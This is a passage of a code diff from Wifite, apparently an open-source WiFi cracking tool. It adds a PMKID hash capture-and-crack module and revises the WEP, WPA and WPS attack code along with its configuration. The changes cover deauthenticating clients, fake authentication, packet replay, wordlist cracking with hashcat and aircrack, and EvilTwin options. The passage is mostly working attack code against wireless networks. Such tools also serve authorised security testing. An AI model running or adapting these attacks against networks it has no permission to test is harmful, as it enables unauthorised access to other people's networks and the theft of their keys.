+                    break  # Attack was successful, stop other attacks.
+            except Exception as e:
+                Color.pl("\n{!} {R}Error: {O}%s" % str(e))
+                if Configuration.verbose > 0 or Configuration.print_stack_traces:
+                    Color.pl('\n{!} {O}Full stack trace below')
+                    from traceback import format_exc
+                    Color.p('\n{!}    ')
+                    err = format_exc().strip()
+                    err = err.replace('\n', '\n{W}{!} {W}   ')
+                    err = err.replace('  File', '{W}{D}File')
+                    err = err.replace('  Exception: ', '{R}Exception: {O}')
+                    Color.pl(err)
+                continue
+            except KeyboardInterrupt:
+                Color.pl('\n{!} {O}interrupted{W}\n')
+                if not cls.user_wants_to_continue(targets_remaining, 1):
+                    return False  # Stop attacking other targets
+
+        if attack.success:
+            attack.crack_result.save()
+
+        return True  # Keep attacking other targets
+
+
+    @classmethod
+    def user_wants_to_continue(cls, targets_remaining, attacks_remaining=0):
+        ''' Asks user if attacks should continue onto other targets '''
+        if attacks_remaining == 0 and targets_remaining == 0:
+            # No targets or attacksleft, drop out
+            return
+
+        prompt_list = []
+        if attacks_remaining > 0:
+            prompt_list.append(Color.s('{C}%d{W} attack(s)' % attacks_remaining))
+        if targets_remaining > 0:
+            prompt_list.append(Color.s('{C}%d{W} target(s)' % targets_remaining))
+        prompt = ' and '.join(prompt_list)
+        Color.pl('{+} %s remain, do you want to continue?' % prompt)
+
+        prompt = Color.s('{+} type {G}c{W} to {G}continue{W}' +
+                         ' or {R}s{W} to {R}stop{W}: ')
+
+        if raw_input(prompt).lower().startswith('s'):
+            return False
+        else:
+            return True
+

wifite/attack/pmkid.py

@@ -0,0 +1,190 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+
+from ..model.attack import Attack
+from ..config import Configuration
+from ..tools.hashcat import HcxDumpTool, HcxPcapTool, Hashcat
+from ..util.color import Color
+from ..util.process import Process
+from ..util.timer import Timer
+from ..model.pmkid_result import CrackResultPMKID
+
+from threading import Thread
+import os
+import time
+import re
+
+
+class AttackPMKID(Attack):
+
+    def __init__(self, target):
+        super(AttackPMKID, self).__init__(target)
+        self.crack_result = None
+        self.success = False
+        self.pcapng_file = Configuration.temp('pmkid.pcapng')
+
+
+    def get_existing_pmkid_file(self, bssid):
+        '''
+        Load PMKID Hash from a previously-captured hash in ./hs/
+        Returns:
+            The hashcat hash (hash*bssid*station*essid) if found.
+            None if not found.
+        '''
+        if not os.path.exists(Configuration.wpa_handshake_dir):
+            return None
+
+        bssid = bssid.lower().replace(':', '')
+
+        file_re = re.compile('.*pmkid_.*\.16800')
+        for filename in os.listdir(Configuration.wpa_handshake_dir):
+            pmkid_filename = os.path.join(Configuration.wpa_handshake_dir, filename)
+            if not os.path.isfile(pmkid_filename):
+                continue
+            if not re.match(file_re, pmkid_filename):
+                continue
+
+            with open(pmkid_filename, 'r') as pmkid_handle:
+                pmkid_hash = pmkid_handle.read().strip()
+                if pmkid_hash.count('*') < 3:
+                    continue
+                existing_bssid = pmkid_hash.split('*')[1].lower().replace(':', '')
+                if existing_bssid == bssid:
+                    return pmkid_filename
+        return None
+
+
+    def run(self):
+        # TODO: Check that we have all hashcat programs
+        dependencies = [
+            Hashcat.dependency_name,
+            HcxDumpTool.dependency_name,
+            HcxPcapTool.dependency_name
+        ]
+        missing_deps = [dep for dep in dependencies if not Process.exists(dep)]
+        if len(missing_deps) > 0:
+            Color.pl('{!} Skipping PMKID attack, missing required tools: {O}%s{W}' % ', '.join(missing_deps))
+            return False
+
+        pmkid_file = None
+
+        # Load exisitng has from filesystem
+        if Configuration.ignore_old_handshakes == False:
+            pmkid_file = self.get_existing_pmkid_file(self.target.bssid)
+            if pmkid_file is not None:
+                Color.pattack('PMKID', self.target, 'CAPTURE',
+                        'Loaded {C}existing{W} PMKID hash: {C}%s{W}\n' % pmkid_file)
+
+        # Capture hash from live target.
+        if pmkid_file is None:
+            pmkid_file = self.capture_pmkid()
+
+        if pmkid_file is None:
+            return False  # No hash found.
+
+        # Crack it.
+        self.success = self.crack_pmkid_file(pmkid_file)
+
+        return True  # Even if we don't crack it, capturing a PMKID is "successful"
+
+
+    def capture_pmkid(self):
+        self.keep_capturing = True
+        self.timer = Timer(60)
+
+        # Start hcxdumptool
+        t = Thread(target=self.dumptool_thread)
+        t.start()
+
+        # Repeatedly run pcaptool & check output for hash for self.target.essid
+        pmkid_hash = None
+        pcaptool = HcxPcapTool(self.target)
+        while self.timer.remaining() > 0:
+            pmkid_hash = pcaptool.get_pmkid_hash(self.pcapng_file)
+            if pmkid_hash is not None:
+                break  # Got PMKID
+
+            Color.pattack('PMKID', self.target, 'CAPTURE',
+                    'Waiting for PMKID ({C}%s{W})' % str(self.timer))
+            time.sleep(1)
+
+        self.keep_capturing = False
+
+        if pmkid_hash is None:
+            Color.pattack('PMKID', self.target, 'CAPTURE',
+                    '{R}Failed{O} to capture PMKID\n')
+            Color.pl("")
+            return None  # No hash found.
+
+        Color.clear_entire_line()
+        Color.pattack('PMKID', self.target, 'CAPTURE', '{G}Captured PMKID{W}')
+        pmkid_file = self.save_pmkid(pmkid_hash)
+        return pmkid_file
+
+
+    def crack_pmkid_file(self, pmkid_file):
+        '''
+        Cracks file containing PMKID hash (*.16800).
+        If cracked, saves results in self.crack_result
+        Returns:
+            True if cracked, False otherwise.
+        '''
+        # Check that wordlist exists before cracking.
+        if Configuration.wordlist is None:
+            Color.pl('\n{!} {O}Not cracking because {R}wordlist{O} is not found.')
+            Color.pl('{!} {O}Run Wifite with the {R}--crack{O} and {R}--dict{O} options to try again.')
+            key = None
+        else:
+            Color.clear_entire_line()
+            Color.pattack('PMKID', self.target, 'CRACK', 'Cracking PMKID...\n')
+            key = Hashcat.crack_pmkid(pmkid_file)
+
+        if key is None:
+            # Failed to crack.
+            Color.clear_entire_line()
+            Color.pattack('PMKID', self.target, '{R}CRACK',
+                    '{R}Failed{O} to crack PMKID\n')
+            Color.pl("")
+            return False
+        else:
+            # Successfully cracked.
+            Color.clear_entire_line()
+            Color.pattack('PMKID', self.target, 'CRACKED', '{C}Key: {G}%s{W}' % key)
+            self.crack_result = CrackResultPMKID(self.target.bssid, self.target.essid,
+                    pmkid_file, key)
+            Color.pl('\n')
+            self.crack_result.dump()
+            return True
+
+
+    def dumptool_thread(self):
+        dumptool = HcxDumpTool(self.target, self.pcapng_file)
+
+        # Let the dump tool run until we have the hash.
+        while self.keep_capturing and dumptool.poll() == None:
+            time.sleep(0.5)
+
+        dumptool.interrupt()
+
+
+    def save_pmkid(self, pmkid_hash):
+        '''
+            Saves a copy of the pmkid (handshake) to hs/
+        '''
+        # Create handshake dir
+        if not os.path.exists(Configuration.wpa_handshake_dir):
+            os.mkdir(Configuration.wpa_handshake_dir)
+
+        # Generate filesystem-safe filename from bssid, essid and date
+        essid_safe = re.sub('[^a-zA-Z0-9]', '', self.target.essid)
+        bssid_safe = self.target.bssid.replace(':', '-')
+        date = time.strftime('%Y-%m-%dT%H-%M-%S')
+        pmkid_file = 'pmkid_%s_%s_%s.16800' % (essid_safe, bssid_safe, date)
+        pmkid_file = os.path.join(Configuration.wpa_handshake_dir, pmkid_file)
+
+        Color.p('\n{+} Saving copy of {C}PMKID Hash{W} to {C}%s{W} ' % pmkid_file)
+        with open(pmkid_file, 'w') as pmkid_handle:
+            pmkid_handle.write(pmkid_hash)
+            pmkid_handle.write('\n')
+
+        return pmkid_file

wifite/attack/wep.py

@@ -1,12 +1,12 @@
-#!/usr/bin/python2.7
+#!/usr/bin/env python
 # -*- coding: utf-8 -*-
 
 from ..model.attack import Attack
 from ..tools.airodump import Airodump
 from ..tools.aireplay import Aireplay, WEPAttackType
 from ..tools.aircrack import Aircrack
+from ..tools.ifconfig import Ifconfig
 from ..config import Configuration
-from ..model.interface import Interface
 from ..util.color import Color
 from ..util.input import raw_input
 from ..model.wep_result import CrackResultWEP
@@ -29,7 +29,7 @@ class AttackWEP(Attack):
         '''
             Initiates full WEP attack.
             Including airodump-ng starting, cracking, etc.
-            Returns: True if attack is succesful, false otherwise
+            Returns: True if attack is successful, false otherwise
         '''
 
         aircrack = None # Aircrack process, not started yet
@@ -37,6 +37,15 @@ class AttackWEP(Attack):
         replay_file = None
         airodump_target = None
 
+        previous_ivs = 0
+        current_ivs = 0
+        total_ivs = 0
+        keep_ivs = Configuration.wep_keep_ivs
+
+        # Clean up previous WEP sessions
+        if keep_ivs:
+            Airodump.delete_airodump_temp_files('wep')
+
         attacks_remaining = list(Configuration.wep_attacks)
         while len(attacks_remaining) > 0:
             attack_name = attacks_remaining.pop(0)
@@ -47,7 +56,8 @@ class AttackWEP(Attack):
                               target_bssid=self.target.bssid,
                               ivs_only=True, # Only capture IVs packets
                               skip_wps=True, # Don't check for WPS-compatibility
-                              output_file_prefix='wep') as airodump:
+                              output_file_prefix='wep',
+                              delete_existing_files=not keep_ivs) as airodump:
 
                     Color.clear_line()
                     Color.p('\r{+} {O}waiting{W} for target to appear...')
@@ -57,7 +67,7 @@ class AttackWEP(Attack):
                     if self.fake_auth():
                         # We successfully authenticated!
                         # Use our interface's MAC address for the attacks.
-                        client_mac = Interface.get_mac()
+                        client_mac = Ifconfig.get_mac(Configuration.interface)
                         # Keep us authenticated
                         fakeauth_proc = Aireplay(self.target, "fakeauth")
                     elif len(airodump_target.clients) == 0:
@@ -77,10 +87,11 @@ class AttackWEP(Attack):
                     # Start Aireplay process.
                     aireplay = Aireplay(self.target,
                                         wep_attack_type,
-                                        client_mac=client_mac)
+                                        client_mac=client_mac,
+                                        replay_file=replay_file)
 
                     time_unchanged_ivs = time.time() # Timestamp when IVs last changed
-                    previous_ivs = 0
+                    last_ivs_count = 0
 
                     # Loop until attack completes.
 
@@ -90,7 +101,14 @@ class AttackWEP(Attack):
                         if client_mac is None and len(airodump_target.clients) > 0:
                             client_mac = airodump_target.clients[0].station
 
-                        status = "%d/{C}%d{W} IVs" % (airodump_target.ivs, Configuration.wep_crack_at_ivs)
+                        if keep_ivs and current_ivs > airodump_target.ivs:
+                            # We now have less IVS than before; A new attack must have started.
+                            # Track how many we have in-total.
+                            previous_ivs += total_ivs
+                        current_ivs = airodump_target.ivs
+                        total_ivs = previous_ivs + current_ivs
+
+                        status = "%d/{C}%d{W} IVs" % (total_ivs, Configuration.wep_crack_at_ivs)
                         if fakeauth_proc:
                             if fakeauth_proc and fakeauth_proc.status:
                                 status += ", {G}fakeauth{W}"
@@ -115,6 +133,9 @@ class AttackWEP(Attack):
                             self.crack_result = CrackResultWEP(self.target.bssid,
                                     self.target.essid, hex_key, ascii_key)
                             self.crack_result.dump()
+
+                            Airodump.delete_airodump_temp_files('wep')
+
                             self.success = True
                             return self.success
 
@@ -123,27 +144,27 @@ class AttackWEP(Attack):
                             Color.p("and {C}cracking{W}")
 
                         # Check number of IVs, crack if necessary
-                        if airodump_target.ivs > Configuration.wep_crack_at_ivs:
-                            if not aircrack:
+                        if total_ivs > Configuration.wep_crack_at_ivs:
+                            if not aircrack or not aircrack.is_running():
                                 # Aircrack hasn't started yet. Start it.
-                                ivs_file = airodump.find_files(endswith='.ivs')[0]
-                                aircrack = Aircrack(ivs_file)
-
-                            elif not aircrack.is_running():
-                                # Aircrack stopped running.
-                                Color.pl('\n{!} {O}aircrack stopped running!{W}')
-                                ivs_file = airodump.find_files(endswith='.ivs')[0]
-                                Color.pl('{+} {C}aircrack{W} stopped, restarting...')
-                                self.fake_auth()
-                                aircrack = Aircrack(ivs_file)
+                                ivs_files = airodump.find_files(endswith='.ivs')
+                                ivs_files.sort()
+                                if len(ivs_files) > 0:
+                                    if not keep_ivs:
+                                        ivs_files = ivs_files[-1]  # Use most-recent .ivs file
+                                    aircrack = Aircrack(ivs_files)
 
                             elif Configuration.wep_restart_aircrack > 0 and \
                                     aircrack.pid.running_time() > Configuration.wep_restart_aircrack:
                                 # Restart aircrack after X seconds
+                                #Color.pl('\n{+} {C}aircrack{W} ran for more than {C}%d{W} seconds, restarting' % Configuration.wep_restart_aircrack)
                                 aircrack.stop()
-                                ivs_file = airodump.find_files(endswith='.ivs')[0]
-                                Color.pl('\n{+} {C}aircrack{W} ran for more than {C}%d{W} seconds, restarting' % Configuration.wep_restart_aircrack)
-                                aircrack = Aircrack(ivs_file)
+                                ivs_files = airodump.find_files(endswith='.ivs')
+                                ivs_files.sort()
+                                if len(ivs_files) > 0:
+                                    if not keep_ivs:
+                                        ivs_files = ivs_files[-1]  # Use most-recent .ivs file
+                                    aircrack = Aircrack(ivs_files)
 
 
                         if not aireplay.is_running():
@@ -178,6 +199,7 @@ class AttackWEP(Attack):
                                                         'forgedreplay',
                                                         client_mac=client_mac,
                                                         replay_file=replay_file)
+                                    time_unchanged_ivs = time.time()  # Reset unchanged IVs time (it may have taken a while to forge the packet)
                                     continue
                                 else:
                                     # Failed to forge packet. drop out
@@ -189,7 +211,7 @@ class AttackWEP(Attack):
                                 break # Continue to other attacks
 
                         # Check if IVs stopped flowing (same for > N seconds)
-                        if airodump_target.ivs > previous_ivs:
+                        if airodump_target.ivs > last_ivs_count:
                             time_unchanged_ivs = time.time()
                         elif Configuration.wep_restart_stale_ivs > 0 and \
                              attack_name != 'chopchop' and \
@@ -206,7 +228,7 @@ class AttackWEP(Attack):
                                                     client_mac=client_mac, \
                                                     replay_file=replay_file)
                                 time_unchanged_ivs = time.time()
-                        previous_ivs = airodump_target.ivs
+                        last_ivs_count = airodump_target.ivs
 
                         time.sleep(1)
                         continue
@@ -215,11 +237,19 @@ class AttackWEP(Attack):
             except KeyboardInterrupt:
                 if fakeauth_proc: fakeauth_proc.stop()
                 if len(attacks_remaining) == 0:
+                    if keep_ivs:
+                        Airodump.delete_airodump_temp_files('wep')
+
                     self.success = False
                     return self.success
+
                 if self.user_wants_to_stop(attack_name, attacks_remaining, airodump_target):
+                    if keep_ivs:
+                        Airodump.delete_airodump_temp_files('wep')
+
                     self.success = False
                     return self.success
+
             except Exception as e:
                 Color.pl("\n{!} {R}Error: {O}%s" % str(e))
                 if Configuration.verbose > 0 or Configuration.print_stack_traces:
@@ -235,6 +265,9 @@ class AttackWEP(Attack):
             # End of big try-catch
         # End of for-each-attack-type loop
 
+        if keep_ivs:
+            Airodump.delete_airodump_temp_files('wep')
+
         self.success = False
         return self.success
 
@@ -275,15 +308,24 @@ class AttackWEP(Attack):
             # Deauth clients & retry
             deauth_count = 1
             Color.clear_entire_line()
+
             Color.p("\r{+} {O}Deauthenticating *broadcast*{W} (all clients)...")
             Aireplay.deauth(target.bssid, essid=target.essid)
+
+            attacking_mac = Ifconfig.get_mac(Configuration.interface)
             for client in target.clients:
+                if attacking_mac.lower() == client.station.lower():
+                    continue  # Don't deauth ourselves.
+
                 Color.clear_entire_line()
                 Color.p("\r{+} {O}Deauthenticating client {C}%s{W}..." % client.station)
+
                 Aireplay.deauth(target.bssid, client_mac=client.station, essid=target.essid)
                 deauth_count += 1
+
             Color.clear_entire_line()
             Color.pl("\r{+} Sent {C}%d {O}deauths{W}" % deauth_count)
+
             # Re-insert current attack to top of list of attacks remaining
             attacks_remaining.insert(0, current_attack)
             return False # Don't stop
@@ -298,7 +340,7 @@ class AttackWEP(Attack):
         '''
             Attempts to fake-authenticate with target.
             Returns: True if successful,
-                     False is unsuccesful.
+                     False is unsuccessful.
         '''
         Color.p('\r{+} attempting {G}fake-authentication{W} with {C}%s{W}...' % self.target.bssid)
         fakeauth = Aireplay.fakeauth(self.target, timeout=AttackWEP.fakeauth_wait)
@@ -307,7 +349,7 @@ class AttackWEP(Attack):
         else:
             Color.pl(' {R}failed{W}')
             if Configuration.require_fakeauth:
-                # Fakeauth is requried, fail
+                # Fakeauth is required, fail
                 raise Exception(
                     'Fake-authenticate did not complete within' +
                     ' %d seconds' % AttackWEP.fakeauth_wait)

wifite/attack/wpa.py

@@ -1,4 +1,4 @@
-#!/usr/bin/python2.7
+#!/usr/bin/env python
 # -*- coding: utf-8 -*-
 
 from ..model.attack import Attack
@@ -25,7 +25,7 @@ class AttackWPA(Attack):
 
     def run(self):
         '''
-            Initiates full WPA hanshake capture attack.
+            Initiates full WPA handshake capture attack.
         '''
 
         # Check if user only wants to run PixieDust attack
@@ -34,11 +34,8 @@ class AttackWPA(Attack):
             self.success = False
             return self.success
 
-        handshake = None
-
-        # Capture the handshake ("do it live!")
-        if handshake is None:
-            handshake = self.capture_handshake()
+        # Capture the handshake (or use an old one)
+        handshake = self.capture_handshake()
 
         if handshake is None:
             # Failed to capture handshake
@@ -187,8 +184,8 @@ class AttackWPA(Attack):
         current_key = ''
         while crack_proc.poll() is None:
             line = crack_proc.pid.stdout.readline()
-            match_nums = aircrack_nums_re.search(line)
-            match_keys = aircrack_key_re.search(line)
+            match_nums = aircrack_nums_re.search(line.decode('utf-8'))
+            match_keys = aircrack_key_re.search(line.decode('utf-8'))
             if match_nums:
                 num_tried = int(match_nums.group(1))
                 num_total = int(match_nums.group(2))
@@ -253,7 +250,10 @@ class AttackWPA(Attack):
             os.mkdir(Configuration.wpa_handshake_dir)
 
         # Generate filesystem-safe filename from bssid, essid and date
-        essid_safe = re.sub('[^a-zA-Z0-9]', '', handshake.essid)
+        if handshake.essid and type(handshake.essid) is str:
+            essid_safe = re.sub('[^a-zA-Z0-9]', '', handshake.essid)
+        else:
+            essid_safe = 'UnknownEssid'
         bssid_safe = handshake.bssid.replace(':', '-')
         date = time.strftime('%Y-%m-%dT%H-%M-%S')
         cap_filename = 'handshake_%s_%s_%s.cap' % (essid_safe, bssid_safe, date)

wifite/attack/wps.py

@@ -1,4 +1,4 @@
-#!/usr/bin/python2.7
+#!/usr/bin/env python
 # -*- coding: utf-8 -*-
 
 from ..model.attack import Attack
@@ -29,19 +29,18 @@ class AttackWPS(Attack):
             bully = Bully(self.target)
             bully.run()
             bully.stop()
-            if bully.crack_result is not None:
-                self.crack_result = bully.crack_result
-                self.success = True
-                return True
+            self.crack_result = bully.crack_result
+            self.success = self.crack_result is not None
+            return self.success
         else:
             reaver = Reaver(self.target)
             if reaver.is_pixiedust_supported():
                 # Reaver: Pixie-dust
                 reaver = Reaver(self.target)
-                if reaver.run_pixiedust_attack():
-                    self.crack_result = reaver.crack_result
-                    self.success = True
-                    return True
+                reaver.run()
+                self.crack_result = reaver.crack_result
+                self.success = self.crack_result is not None
+                return self.success
             else:
                 Color.pl("{!} {R}your version of 'reaver' does not support the {O}WPS pixie-dust attack{W}")
 

wifite/config.py

@@ -1,295 +1,313 @@
-#!/usr/bin/python2.7
+#!/usr/bin/env python
 # -*- coding: utf-8 -*-
 
+import os
+
 from .util.color import Color
 from .tools.macchanger import Macchanger
 
-import os
-
 class Configuration(object):
     ''' Stores configuration variables and functions for Wifite. '''
-    verbose = 0
+    version = '2.1.8'
 
     initialized = False # Flag indicating config has been initialized
     temp_dir = None     # Temporary directory
-    version = '2.1.0'
+    interface = None
+    verbose = 0
 
-    @staticmethod
-    def initialize(load_interface=True):
+    @classmethod
+    def initialize(cls, load_interface=True):
         '''
             Sets up default initial configuration values.
             Also sets config values based on command-line arguments.
         '''
+        # TODO: categorize configuration into separate classes (under config/*.py)
+        # E.g. Configuration.wps.enabled, Configuration.wps.timeout, etc
 
         # Only initialize this class once
-        if Configuration.initialized:
+        if cls.initialized:
             return
-        Configuration.initialized = True
+        cls.initialized = True
 
-        Configuration.verbose = 0 # Verbosity level.
-        Configuration.print_stack_traces = True
+        cls.verbose = 0 # Verbosity of output. Higher number means more debug info about running processes.
+        cls.print_stack_traces = True
 
-        Configuration.kill_conflicting_processes = False
+        cls.kill_conflicting_processes = False
 
-        Configuration.scan_time = 0 # Time to wait before attacking all targets
-        Configuration.all_targets = False # Run attacks against all targets automatically
+        cls.scan_time = 0 # Time to wait before attacking all targets
+        cls.all_targets = False # Run attacks against all targets automatically
 
-        Configuration.tx_power = 0 # Wifi transmit power (0 is default)
-        Configuration.interface = None
-        Configuration.target_channel = None # User-defined channel to scan
-        Configuration.target_essid = None # User-defined AP name
-        Configuration.target_bssid = None # User-defined AP BSSID
-        Configuration.ignore_essid = None # ESSIDs to ignore
-        Configuration.five_ghz = False # Scan 5Ghz channels
-        Configuration.show_bssids = False # Show BSSIDs in targets list
-        Configuration.random_mac = False # Should generate a random Mac address at startup.
-        Configuration.no_deauth = False # Deauth hidden networks & WPA handshake targets
-        Configuration.num_deauths = 1 # Number of deauth packets to send to each target.
+        cls.tx_power = 0 # Wifi transmit power (0 is default)
+        cls.interface = None
+        cls.target_channel = None # User-defined channel to scan
+        cls.target_essid = None # User-defined AP name
+        cls.target_bssid = None # User-defined AP BSSID
+        cls.ignore_essid = None # ESSIDs to ignore
+        cls.clients_only = False # Only show targets that have associated clients
+        cls.five_ghz = False # Scan 5Ghz channels
+        cls.show_bssids = False # Show BSSIDs in targets list
+        cls.random_mac = False # Should generate a random Mac address at startup.
+        cls.no_deauth = False # Deauth hidden networks & WPA handshake targets
+        cls.num_deauths = 1 # Number of deauth packets to send to each target.
 
-        Configuration.encryption_filter = ['WEP', 'WPA', 'WPS']
+        cls.encryption_filter = ['WEP', 'WPA', 'WPS']
+
+        # EvilTwin variables
+        cls.use_eviltwin = False
+        cls.eviltwin_port = 80
+        cls.eviltwin_deauth_iface = None
+        cls.eviltwin_fakeap_iface = None
 
         # WEP variables
-        Configuration.wep_filter = False # Only attack WEP networks
-        Configuration.wep_pps = 600 # Packets per second
-        Configuration.wep_timeout = 600 # Seconds to wait before failing
-        Configuration.wep_crack_at_ivs = 10000 # Minimum IVs to start cracking
-        Configuration.require_fakeauth = False
-        Configuration.wep_restart_stale_ivs = 11 # Seconds to wait before restarting
+        cls.wep_filter = False # Only attack WEP networks
+        cls.wep_pps = 600 # Packets per second
+        cls.wep_timeout = 600 # Seconds to wait before failing
+        cls.wep_crack_at_ivs = 10000 # Minimum IVs to start cracking
+        cls.require_fakeauth = False
+        cls.wep_restart_stale_ivs = 11 # Seconds to wait before restarting
                                                  # Aireplay if IVs don't increaes.
                                                  # "0" means never restart.
-        Configuration.wep_restart_aircrack = 30  # Seconds to give aircrack to crack
+        cls.wep_restart_aircrack = 30  # Seconds to give aircrack to crack
                                                  # before restarting the process.
-        Configuration.wep_crack_at_ivs = 10000   # Number of IVS to start cracking
+        cls.wep_crack_at_ivs = 10000   # Number of IVS to start cracking
+        cls.wep_keep_ivs = False       # Retain .ivs files across multiple attacks.
 
         # WPA variables
-        Configuration.wpa_filter = False # Only attack WPA networks
-        Configuration.wpa_deauth_timeout = 15 # Wait time between deauths
-        Configuration.wpa_attack_timeout = 500 # Wait time before failing
-        Configuration.wpa_handshake_dir = "hs" # Dir to store handshakes
-        Configuration.wpa_strip_handshake = False # Strip non-handshake packets
-        Configuration.ignore_old_handshakes = False # Always fetch a new handshake
+        cls.wpa_filter = False # Only attack WPA networks
+        cls.wpa_deauth_timeout = 15 # Wait time between deauths
+        cls.wpa_attack_timeout = 500 # Wait time before failing
+        cls.wpa_handshake_dir = "hs" # Dir to store handshakes
+        cls.wpa_strip_handshake = False # Strip non-handshake packets
+        cls.ignore_old_handshakes = False # Always fetch a new handshake
 
         # Default dictionary for cracking
-        Configuration.wordlist = None
+        cls.wordlist = None
         wordlists = [
+            './wordlist-top4800-probable.txt',
             '/usr/share/wfuzz/wordlist/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt',
             '/usr/share/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt',
             '/usr/share/wordlists/fern-wifi/common.txt'
         ]
         for wlist in wordlists:
             if os.path.exists(wlist):
-                Configuration.wordlist = wlist
+                cls.wordlist = wlist
                 break
 
         # WPS variables
-        Configuration.wps_filter  = False  # Only attack WPS networks
-        Configuration.no_wps      = False  # Do not use WPS attacks (Pixie-Dust & PIN attacks)
-        Configuration.wps_only    = False  # ONLY use WPS attacks on non-WEP networks
-        Configuration.use_bully   = False  # Use bully instead of reaver
-        Configuration.wps_pixie_timeout = 300      # Seconds to wait for PIN before WPS Pixie attack fails
-        Configuration.wps_pixie_step_timeout = 30  # Seconds to wait for a step to change before pixie fails
-        Configuration.wps_fail_threshold = 30  # Max number of failures
-        Configuration.wps_timeout_threshold = 30  # Max number of timeouts
-        Configuration.wps_skip_rate_limit = True # Skip rate-limited WPS APs
+        cls.wps_filter  = False  # Only attack WPS networks
+        cls.no_wps      = False  # Do not use WPS attacks (Pixie-Dust & PIN attacks)
+        cls.wps_only    = False  # ONLY use WPS attacks on non-WEP networks
+        cls.use_bully   = False  # Use bully instead of reaver
+        cls.wps_pixie_timeout = 300      # Seconds to wait for PIN before WPS Pixie attack fails
+        cls.wps_fail_threshold = 100     # Max number of failures
+        cls.wps_timeout_threshold = 100  # Max number of timeouts
 
         # Commands
-        Configuration.show_cracked = False
-        Configuration.check_handshake = None
-        Configuration.crack_handshake = False
+        cls.show_cracked = False
+        cls.check_handshake = None
+        cls.crack_handshake = False
 
         # Overwrite config values with arguments (if defined)
-        Configuration.load_from_arguments()
+        cls.load_from_arguments()
 
         if load_interface:
-            Configuration.get_interface()
+            cls.get_monitor_mode_interface()
 
 
-    @staticmethod
-    def get_interface():
-        if Configuration.interface is None:
+    @classmethod
+    def get_monitor_mode_interface(cls):
+        if cls.interface is None:
             # Interface wasn't defined, select it!
             from .tools.airmon import Airmon
-            Configuration.interface = Airmon.ask()
-            if Configuration.random_mac:
+            cls.interface = Airmon.ask()
+            if cls.random_mac:
                 Macchanger.random()
 
-
     @staticmethod
-    def load_from_arguments():
+    def get_wireless_interface():
+        pass
+
+    @classmethod
+    def load_from_arguments(cls):
         ''' Sets configuration values based on Argument.args object '''
         from .args import Arguments
 
-        args = Arguments(Configuration).args
+        args = Arguments(cls).args
         if args.random_mac:
-            Configuration.random_mac = True
+            cls.random_mac = True
             Color.pl('{+} {C}option:{W} using {G}random mac address{W} when scanning & attacking')
         if args.channel:
-            Configuration.target_channel = args.channel
+            cls.target_channel = args.channel
             Color.pl('{+} {C}option:{W} scanning for targets on channel {G}%s{W}' % args.channel)
         if args.interface:
-            Configuration.interface = args.interface
+            cls.interface = args.interface
             Color.pl('{+} {C}option:{W} using wireless interface {G}%s{W}' % args.interface)
         if args.target_bssid:
-            Configuration.target_bssid = args.target_bssid
+            cls.target_bssid = args.target_bssid
             Color.pl('{+} {C}option:{W} targeting BSSID {G}%s{W}' % args.target_bssid)
         if args.five_ghz == True:
-            Configuration.five_ghz = True
+            cls.five_ghz = True
             Color.pl('{+} {C}option:{W} including {G}5Ghz networks{W} in scans')
         if args.show_bssids == True:
-            Configuration.show_bssids = True
+            cls.show_bssids = True
             Color.pl('{+} {C}option:{W} showing {G}bssids{W} of targets during scan')
         if args.no_deauth == True:
-            Configuration.no_deauth = True
+            cls.no_deauth = True
             Color.pl('{+} {C}option:{W} will {R}not{W} {O}deauth{W} clients during scans or captures')
         if args.num_deauths and args.num_deauths > 0:
-            Configuration.num_deauths = args.num_deauths
-            Color.pl('{+} {C}option:{W} will send {G}%d{W} deauth packets when deauthing' % Configuration.num_deauths)
+            cls.num_deauths = args.num_deauths
+            Color.pl('{+} {C}option:{W} will send {G}%d{W} deauth packets when deauthing' % cls.num_deauths)
         if args.target_essid:
-            Configuration.target_essid = args.target_essid
+            cls.target_essid = args.target_essid
             Color.pl('{+} {C}option:{W} targeting ESSID {G}%s{W}' % args.target_essid)
         if args.ignore_essid is not None:
-            Configuration.ignore_essid = args.ignore_essid
+            cls.ignore_essid = args.ignore_essid
             Color.pl('{+} {C}option:{W} {O}ignoring ESSIDs that include {R}%s{W}' % args.ignore_essid)
+        if args.clients_only == True:
+            cls.clients_only = True
+            Color.pl('{+} {C}option:{W} {O}ignoring targets that do not have associated clients')
         if args.scan_time:
-            Configuration.scan_time = args.scan_time
+            cls.scan_time = args.scan_time
             Color.pl('{+} {C}option:{W} ({G}pillage{W}) attack all targets after {G}%d{W}s' % args.scan_time)
         if args.verbose:
-            Configuration.verbose = args.verbose
+            cls.verbose = args.verbose
             Color.pl('{+} {C}option:{W} verbosity level {G}%d{W}' % args.verbose)
         if args.kill_conflicting_processes:
-            Configuration.kill_conflicting_processes = True
+            cls.kill_conflicting_processes = True
             Color.pl('{+} {C}option:{W} kill conflicting processes {G}enabled{W}')
 
+        # EvilTwin
+        if args.use_eviltwin:
+            cls.use_eviltwin = True
+            Color.pl('{+} {C}option:{W} using {G}eviltwin attacks{W} against all targets')
+
         # WEP
         if args.wep_filter:
-            Configuration.wep_filter = args.wep_filter
+            cls.wep_filter = args.wep_filter
         if args.wep_pps:
-            Configuration.wep_pps = args.wep_pps
+            cls.wep_pps = args.wep_pps
             Color.pl('{+} {C}option:{W} using {G}%d{W} packets-per-second on WEP attacks' % args.wep_pps)
         if args.wep_timeout:
-            Configuration.wep_timeout = args.wep_timeout
+            cls.wep_timeout = args.wep_timeout
             Color.pl('{+} {C}option:{W} WEP attack timeout set to {G}%d seconds{W}' % args.wep_timeout)
         if args.require_fakeauth:
-            Configuration.require_fakeauth = True
+            cls.require_fakeauth = True
             Color.pl('{+} {C}option:{W} fake-authentication is {G}required{W} for WEP attacks')
         if args.wep_crack_at_ivs:
-            Configuration.wep_crack_at_ivs = args.wep_crack_at_ivs
+            cls.wep_crack_at_ivs = args.wep_crack_at_ivs
             Color.pl('{+} {C}option:{W} will start cracking WEP keys at {G}%d IVs{W}' % args.wep_crack_at_ivs)
         if args.wep_restart_stale_ivs:
-            Configuration.wep_restart_stale_ivs = args.wep_restart_stale_ivs
+            cls.wep_restart_stale_ivs = args.wep_restart_stale_ivs
             Color.pl('{+} {C}option:{W} will restart aireplay after {G}%d seconds{W} of no new IVs' % args.wep_restart_stale_ivs)
         if args.wep_restart_aircrack:
-            Configuration.wep_restart_aircrack = args.wep_restart_aircrack
+            cls.wep_restart_aircrack = args.wep_restart_aircrack
